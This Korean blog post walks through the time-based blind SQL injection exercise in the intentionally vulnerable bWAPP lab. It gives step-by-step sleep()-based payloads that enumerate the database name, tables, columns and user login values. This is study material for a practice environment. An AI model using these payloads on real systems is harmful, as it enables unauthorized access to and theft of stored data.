SQL Injection - Blind - Time Based 페이지에 들어가게되면
다음과 같은 페이지가 나오게 된다.
이번 페이지는 결과값을 이메일로 보내준다고 되어있는데 이메일 주소를 적는 칸이 없다.
그러므로 이번 문제는 참, 거짓의 결과를 알 수가 없다.
그래서 우리는 sleep()함수를 이용하여 참, 거짓을 알아보도록 하겠다.
처음에는 이게 무슨 소리인가 했는데 값 뒤에 sleep()함수를 넣어 만약 참이면 sleep 함수가 실행되고 거짓을 경우 sleep 함수가 실행되지 않도록 하는 방식으로 참, 거짓을 구분하는 것이다.
※ sleep(시간) : 시간만큼 시간을 지연시키는 함수
먼저 항상 참인 값부터 넣어보자
' or 1=1 and sleep(2)#
결과를 넣으면
다음과 같이 sleep함수가 동작하게 되어 응답을 기다린다고 나오게 된다.
만약 거짓인 값을 넣어보면?
' or 1=2 and sleep(2)#
다음과 같이 아무런 변화가 없다.
이제 참, 거짓 판단은 이렇게 하기로 하자
이제 먼저 데이터 베이스의 길이부터 알아내자
' or 1=1 and length(database()) = 숫자 and sleep(2)#
이 뒤에부터는 Boolean-Based Injection 공격과 동일한 노가다이다.
https://tkdrms568.tistory.com/147
거짓인 값이 들어갔을 경우(' or 1=1 and length(database())=1 and sleep(2)#)
아무런 변화가 없다.
참인 값이 들어갔을 경우(' or 1=1 and length(database()) = 5 and sleep(2)#)
응답을 기다리고 있다. 이를 통해 DB는 5글자라는 것을 알 수 있다.
이제 5글자라는 것을 알았으니 DB명을 알아보자 substring 함수를 사용하여 한글자 한글자씩 알아내면 된다.
' or 1=1 and substring(database(),1,1)= 'b' and sleep(5)
첫번째 글자가 'b'일때
응답을 기다리고 있다. 이를 통해 첫번째 글자는 'b'라는 것을 알 수 있다.
두번째 단어를 알아내기 위해서는 ' or 1=1 and substring(database(),2,1) = '문자' and sleep(2)#
이런식으로 숫자를 늘려가며 맞추면 된다.
이 방식을 반복해서 우리는 DB명이 'bWAPP'이라는 것을 알아내었다.
이제 이 bWAPP이 DB명이 맞는지 검토하기 위해 다음과 같이 입력해준다.
' or 1=1 and substring(database(),1,5) = 'bWAPP' and sleep(2)#
응답을 기다리고 있다. 이제 DB명은 알아 내었으니 테이블명을 알아내자
이번 페이지도 테이블을 하나만 출력해주기 때문에 limit 함수를 써줘야한다.
' or 1=1 and length((select table_name from information_schema.tables where table_type= 'base table' and table_schema = 'bWAPP' limit 0,1))=4 and sleep(2)#
˙ table_type = 'base table'을 적어주어 메타 테이블 안에 있는 내용은 제외하고 사용자가 만든 테이블 안에서만 검색
˙ limit 0,1 = 첫번째 테이블 하나의 값만 출력
다음과 같이 입력하면
응답을 기다리게된다.
이를 통해 첫번째 테이블의 길이는 4라는 것을 알 수 있다.
이제 테이블 명을 알아보자
' or 1=1 and ascii(substring((select table_name from information_schema.tables where table type='base table' and table_schema='bWAPP' limit 0,1),1,1)) > 97 and sleep(2)#
˙ > 97 = 소문자인지 대문자인지 구분하기 위해 사용 만약 97(a)보다 크게되면 소문자, 작으면 대문자인 것을 알 수 있다.
˙ limit 0,1),1,1)) = 첫번째 테이블의 첫번째 글자 하나의 단어
다음과 같이 입력하면 응답을 기다리는 중 뜨는데 이를 통해 우리는 첫번째 단어가 소문자라는 것을 알 수 있다.
이제 계속 노가다해서 값을 구해보면 첫번째 글자가 'b'일때 '응답을 기다리는중'이라고 뜨는 것을 알 수 있다.
' or 1=1 and substring((select table_name from information_schema.tables where table_type='base table' and table_schema='bWAPP' limit 0,1),1,1)='b' and sleep(2)#
우리가 알아야 하는 테이블 명은 첫번째 테이블이 아닌 두번째 테이블이므로 두번째 테이블도 첫번째 테이블과 동일한 방식으로 구해줘야한다.
' or 1=1 and length((select table_name from information_schema.tables where table_type= 'base table' and table_schema = 'bWAPP' limit 1,1))=6 and sleep(2)#
첫번째 테이블이 limit 0,1이었다면 두번째 테이블이기 때문에 1,1로 바꿔줘야한다.
위에 코드를 입력하면
응답을 기다리는 중이 나온다. 이로써 두번째 테이블은 6글자라는 것을 알아내었다.
다음으로 테이블 명을 알아내야하기에 노가다를 해서 구하면 'heroes'라고 구할 수 있다.
이제 heroes가 맞는지 확인하기 위해 다음 코드를 입력하자
' or 1=1 and substring((select table_name from information_schema.tables where table_type='base table' and table_schema='bWAPP' limit 1,1),1,6)='heroes' and sleep(2)#
'heroes'가 맞다
이제 테이블 안에 있는 첫번째 컬럼의 길이를 알아내자
다음과 같이 입력하면 된다.
' or 1=1 and length((select column_name from information_schema.columns where table_name='heroes' limit 0,1))=2 and sleep(2)#
이를 통해 우리는 컬럼명이 2글자라는 것을 알 수 있다.
다음으로 컬럼명을 구해야한다.
' or 1=1 and ascii(substring((select column_name from information_schema.columns where table_name='heroes' limit 0,1),1,1)) > 97 and sleep(2)#
일단 첫번째 글자는 소문자로 시작한다.
이제 노가다를 해서 구해보자
' or 1=1 and substring((select column_name from information_schema.columns where table_name='heroes' limit 0,1),1,1)='i' and sleep(2)#
입력을 하면
첫번째 글자는 'i'이다 이제 i로 시작하는 두 글자는 id 밖에 떠오르지 않기 때문에 id가 맞는지 알아보기 위해 다음 코드를 입력해보았다.
' or 1=1 and substring((select column_name from information_schema.columns where table_name='heroes' limit 0,1),1,2)='id' and sleep(2)#
다음과 같이 입력을 하면 응답을 기다리는중이라고 뜨는데 이를 통해 첫번째 컬럼명은 id라는 것을 알 수 있다.
같은 방식으로 다음 컬럼명을 구하면 id, password, login, secret이라는 컬럼이 존재한다는 것을 알 수 있다.
이제 login 컬럼 안에 있는 내용의 길이부터 알아보자
' or 1=1 and length((select login from heroes limit 0,1))=3 and sleep(2)#
길이가 3일 때 응답을 기다린다고 나온다.
이를 통해 login의 첫번째 내용의 길이는 3글자라는 것을 알 수 있다.
이제 3글자가 먼지 알아보자.
첫번째 글자는
' or 1=1 and ascii(substring((select login from heroes limit 0,1),1,1)) > 97 and sleep(2)#
소문자인 것을 알 수 있다.('a'제외)
이제 첫번째 문자부터 알아보자.
' or 1=1 and substring((select login from heroes limit 0,1),1,1)='n' and sleep(2)#
'b'부터 계속 해보면 'n'이라는 것을 알 수 있다. 이 방식으로 계속하면 'neo'라는 것을 알 수 있다.
맞는지 확인하기 위해
' or 1=1 and substring((select login from heroes limit 0,1),1,3)='neo' and sleep(2)#
를 입력하면
login의 첫번째 내용은 'neo'라는 것을 알 수 있다.
이방식을 이용해서 계속 구해서 password, secret도 알아내면 된다.
난이도 - (중,상)
medium 난이도와 high 난이도를 가서
'or 1=1 and sleep(2)#을 입력해보면
아무런 변화가 없다. 이는 공격을 막아놓았기 때문인데 코드를 확인해보면
Boolean Based와 방어방식이 똑같다.
https://tkdrms568.tistory.com/147
sqlmap을 이용하면 더 간다하고 빠르게 구할 수 있으나 아직 sqlmap을 사용하는 법을 몰라 sqlmap 사용법을 배우는대로 간단하게 푸는 방법으로 다시 올려야 겠다.
'웹해킹 > bee-box' 카테고리의 다른 글
XML/Xpath Injection (0) | 2019.10.09 |
---|---|
XML / XPATH 인젝션 - Login Form (0) | 2019.08.07 |
Blind SQL Injection - Boolean Based (0) | 2019.08.05 |
SQL-Injection(Blog) (0) | 2019.08.04 |
SQL-Injection - Login Form/Hero (0) | 2019.08.04 |